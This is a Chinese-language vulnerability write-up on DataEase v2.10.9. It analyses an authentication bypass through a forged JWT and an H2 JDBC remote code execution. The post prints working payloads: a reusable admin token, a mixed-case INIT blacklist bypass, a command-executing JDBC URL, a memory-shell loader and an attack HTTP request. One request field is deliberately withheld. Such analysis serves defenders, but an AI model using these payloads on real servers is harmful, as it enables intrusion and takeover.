远程调式

本文以kali linux 2024 +docker + win11 + idea进行远程调试。

kali端

wget https://github.com/dataease/dataease/releases/download/v2.10.9/dataease-online-installer-v2.10.9-ce.tar.gz
tar -zxvf dataease-online-installer-v2.10.9-ce.tar.gz
cd dataease-online-installer-v2.10.9-ce/
chmod +x install.sh
./install.sh	#等待安装完毕,Ctrl+c

修改配置文件开启远程调试

vi /opt/dataease2.0/docker-compose.yml

修改

environment: - JAVA_DEBUG=true ports: - ${DE_PORT}:8100 - 5005:5005

启动dataease

dectl restart

Win端:

下载源码:https://github.com/dataease/dataease/archive/refs/tags/v2.10.9.zip

解压到本地中,使用idea打开

配置远程jvm调试

在io.dataease.auth.filter.CommunityTokenFilter#doFilter类中打断点

访问http://x.x.x.x:8100

Commint分析

https://github.com/dataease/dataease/releases

https://github.com/dataease/dataease/compare/v2.10.9...v2.10.10

2.10.9与2.10.10对比,这里与安全相关的就框框中的地方

代码差异对比

代码分析

鉴权绕过

鉴权的代码主要在io.dataease.auth.filter下,存在两个filter,直接断点。

io.dataease.auth.filter.TokenFilter#doFilter

io.dataease.auth.filter.CommunityTokenFilter#doFilter

通过代码commit对比得知,漏洞点在io.dataease.auth.filter.CommunityTokenFilter#doFilter中

验证token时,验证不通过后没有在catch中直接退出程序,而是继续走doFilter导致绕过。

那么如何走完这两个doFilter方法,让程序进入对应请求地址的处理代码中呢?

通过io.dataease.auth.filter.FilterConfig可知TokenFilter的优先级比CommunityTokenFilter高

io.dataease.auth.filter.TokenFilter#doFilte

需要存在 X-DE-TOKEN(也就是jwt使用到的请求头),在代码前面的linkToken的处理与后续代码类似,也能进入下一个filter,但有点问题。

X-DE-TOKEN 的长度要小于100 io.dataease.utils.TokenUtils#validate

jwt中要存在uid值io.dataease.utils.TokenUtils#userBOByToken,uid=1即可

校验完上面代码后就进入下一个doFilter中了,也就是

io.dataease.auth.filter.CommunityTokenFilter#doFilter

最后构造一下jwt值,我这里直接拿登录接口后端返回的jwt值,解码后如下

{"typ":"JWT","alg":"HS256"}.{"uid":1,"oid":1,"exp":1750250627}.mpUhKHy1CPfhyb9w-flz9oTIFF52dB2QoXvnmnA0vRs

直接使用这段jwt也是可以的。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzUwMjUwNjI3fQ.mpUhKHy1CPfhyb9w-flz9oTIFF52dB2QoXvnmnA0vRs

H2数据库RCE

登录到后台,使用数据源添加功能,填写利用jdbc url是打不成功的。(前端没H2数据库选择,需要在数据包指定)

报错:Request processing failed: DEException(code=40001, msg=Cannot invoke \"io.dataease.extensions.datasource.vo.DatasourceConfiguration.isUseSSH()\" because \"configuration\" is null)

这也就是为什么其他大佬的漏洞复现文章对configuration打码的原因,那么是哪里出现的问题?(思来想去既然大佬们都不公布,这里我还是不公布漏洞poc吧,毕竟这是分析文章 [狗头])

经过断点分析后发现,在代码io.dataease.datasource.provider.CalciteProvider#getConnection中有答案。

在利用之前还需要绕过黑名单限制io.dataease.datasource.type.H2#getJdbc,黑名单检测传入url是否存在INIT、RUNSCRIPT。

绕过方式可以使用Init或I\N\I\T

对应处理代码

org.h2.engine.ConnectionInfo#readSettingsFromURL

org.h2.util.StringUtils#arraySplit

使用如下jdbc url即可命令执行

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INit=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('touch /tmp/1')\\;

H2 JDBC 内存马注入

根据文章构造即可

https://mp.weixin.qq.com/s/PlRwbc5AhJDjPwIZcUv5Rw

在tomcatStr处填入生成的内存马

"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INiT=CREATE ALIAS if not exists AQWSSSAZ AS 'void shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\\;String tomcatStr=\"\"\\;java.lang.Class unsafeClass=java.lang.Class.forName(\"sun.misc.Unsafe\")\\;java.lang.reflect.Field unsafeField=unsafeClass.getDeclaredField(\"theUnsafe\")\\;unsafeField.setAccessible(true)\\;sun.misc.Unsafe unsafe=(sun.misc.Unsafe)unsafeField.get(null)\\;java.lang.Module module=java.lang.Object.class.getModule()\\;java.lang.Class cls=AQWSSSAZ.class\\;long offset=unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField(\"module\"))\\;unsafe.getAndSetObject(cls,offset,module)\\;java.lang.reflect.Method defineClass=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",byte[].class,java.lang.Integer.TYPE,java.lang.Integer.TYPE)\\;defineClass.setAccessible(true)\\;byte[] bytecode=java.util.Base64.getDecoder().decode(tomcatStr)\\;java.lang.Class clazz=(java.lang.Class)defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance()\\;}'\\;CALL AQWSSSAZ('calc')"

String att4 = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS if not exists AQWSSSAZ AS 'void shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\\;String tomcatStr=\"\"\\;java.lang.Class unsafeClass=java.lang.Class.forName(\"sun.misc.Unsafe\")\\;java.lang.reflect.Field unsafeField=unsafeClass.getDeclaredField(\"theUnsafe\")\\;unsafeField.setAccessible(true)\\;sun.misc.Unsafe unsafe=(sun.misc.Unsafe)unsafeField.get(null)\\;java.lang.Module module=java.lang.Object.class.getModule()\\;java.lang.Class cls=AQWSSSAZ.class\\;long offset=unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField(\"module\"))\\;unsafe.getAndSetObject(cls,offset,module)\\;java.lang.reflect.Method defineClass=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",byte[].class,java.lang.Integer.TYPE,java.lang.Integer.TYPE)\\;defineClass.setAccessible(true)\\;byte[] bytecode=java.util.Base64.getDecoder().decode(tomcatStr)\\;java.lang.Class clazz=(java.lang.Class)defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance()\\;}'\\;CALL AQWSSSAZ('calc')";
POST /de2api/datasource/getSchema HTTP/1.1
Host: 192.168.1.104:8100
Origin: http://192.168.1.104:8100
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
sec-ch-ua-mobile: ?0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzUwMjUwNjI3fQ.mpUhKHy1CPfhyb9w-flz9oTIFF52dB2QoXvnmnA0vRs
Referer: http://192.168.1.104:8100/
Accept-Language: zh-CN
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="124", "Google Chrome";v="124"
X-Remote-Addr: 127.0.0.1
X-Originating-IP: 127.0.0.1
sec-ch-ua-platform: "Windows"
X-Remote-IP: 127.0.0.1
Priority: u=0
X-Forwarded-For: 127.0.0.1
Content-Length: 25989

{
  "id": "",
  "name": "test",
  "description": "rwertw",
  "type": "h2",
  "apiConfiguration": [],
  "paramsConfiguration": [],
  "enableDataFill": false,
  "configuration": "需要你分析哦"
}

参考

https://mp.weixin.qq.com/s/PlRwbc5AhJDjPwIZcUv5Rw

https://www.cnblogs.com/CoLo/p/17051019.html#h2

https://www.yulate.com/post/suctf2025-chu-ti-ji-lu/

https://www.leavesongs.com/PENETRATION/talk-about-h2database-rce.html

https://github.com/Whoopsunix/JavaRce/blob/main/SecVulns/VulnCore/JDBCAttack/src/main/java/h2database/H2Attack.java